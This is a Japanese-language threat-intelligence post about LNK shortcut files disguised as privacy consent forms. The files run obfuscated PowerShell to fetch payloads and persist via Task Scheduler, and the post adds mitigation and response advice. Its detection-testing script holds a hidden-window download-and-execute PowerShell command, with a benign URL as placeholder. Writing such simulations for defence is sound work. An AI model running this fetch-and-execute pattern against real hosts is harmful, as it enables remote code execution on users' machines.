SOC Prime Bias: 高

19 Jun 2026 07:26 UTC
newspaper icon ASEC

プライバシー同意書として偽装されたショートカットファイルの中身とは？

Author Photo
SOC Prime Team linkedin icon フォローする
プライバシー同意書として偽装されたショートカットファイルの中身とは？
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


概要

脅威アクターは、プライバシー同意書に偽装した悪意のあるLNKファイルを配布して、ユーザーを騙してそれらを開かせようとしています。実行されると、これらのショートカットファイルは難読化されたPowerShellコマンドを起動し、ファイルレス技術を使って追加のペイロードを取得して実行します。この攻撃チェーンは情報を盗むために設計されており、アクセスと永続性を保つのに役立つバックドアローダーを展開します。

調査

調査の結果、LNKファイルには、後続スクリプトをダウンロードする難読化されたPowerShellコードが埋め込まれていることがわかりました。これらの二次スクリプトには、正規のウェブサービスからペイロードを引き出すダウンローダーと、それをメモリ上で直接実行するローダーが含まれています。脅威アクターは永続性のためにWindows Task Schedulerも悪用し、悪意のある活動を正当であるかのように見せかけるために誘導文書を使用しています。

軽減策

組織は、ファイル拡張子を厳格に検証し、通常のドキュメントに偽装されたLNKファイルに対する警告をユーザーに行うべきです。セキュリティチームは、タスクスケジューラーの活動、PowerShellの実行ログ、および外部ネットワーク接続を綿密に監視する必要があります。また、ユーザーは、開く前にすべての受信ファイルの送信元と提供経路を確認するように訓練される必要があります。

対応

この活動が検出された場合、管理者は直ちに疑わしいタスクスケジューラーのエントリと、ユーザーアクセス可能なディレクトリでの異常なPowerShellスクリプトの作成をレビューするべきです。PowerShellログを分析し、特に正規のクラウドプラットフォームまたはウェブストレージサービスに関与する外部接続を追跡する必要があります。識別された悪意のあるスクリプトと無許可のネットワークトラフィックに対して完全なフォレンジック調査を実施する必要があります。

攻撃フロー

シミュレーション実行

前提条件: テレメトリとベースラインのプレフライトチェックに合格している必要があります。

合理性: このセクションは、検出ルールをトリガーするように設計された攻撃者技術 (TTP) の正確な実行を詳述します。コマンドと記述は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的とします。抽象的または無関係な例は誤診につながります。

  • 攻撃の構成とコマンド: 攻撃者は初期アクセスを確立し、第二段階のマルウェアペイロードをダウンロードしようとしています。単純なファイルスキャナーによる検出を回避するために、LNK （ショートカット） ファイルを使用します。このLNKファイルは、 powershell.exe を隠しウィンドウで実行するように作成されています。PowerShellに渡されるコマンドは、 Invoke-Expression and DownloadString を使用してリモートURLからスクリプトを取得します。これは正規バイナリを用いてマルウェア行動を実行する現実世界の「Living-off-the-Land」(LotL) 攻撃を模倣していて、伝統的なシグネチャベースのアンチウイルスを回避することを目的としています。

  • 回帰テストスクリプト:

    # 1. ターゲットURLを定義します（テスト用に無害なサイトを使用）。
$url = "https://www.google.com"

# 2. 悪意のあるPowerShellペイロード文字列を作成します。
# この文字列は、'DownloadString' と 'Invoke-Expression' の検出をトリガーするよう設計されています。
$payload = "IEX (New-Object Net.WebClient).DownloadString('$url')"

# 3. ダミーのLNKファイルの内容を作成します（シミュレーション）。
# 実際の攻撃では、これはバイナリの.lnkファイルです。
# ここでは、スクリプトブロックログが検証のために生成されることを保証するためにコマンドを直接実行します。
Write-Host "[+] LNKペイロードを介した悪意のあるPowerShell実行をシミュレートしています..."
powershell.exe -WindowStyle Hidden -Command $payload

Write-Host "[+] シミュレーションコマンドが実行されました。イベントID 4104を確認してください。"

  • クリーンアップコマンド:

    # ファイルが作成された場合は、アーティファクトを削除します。
Remove-Item -Path "$HOMEDesktopSimulated_Malicious_LNK.lnk" -ErrorAction SilentlyContinue
Write-Host "[+] クリーンアップが完了しました。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加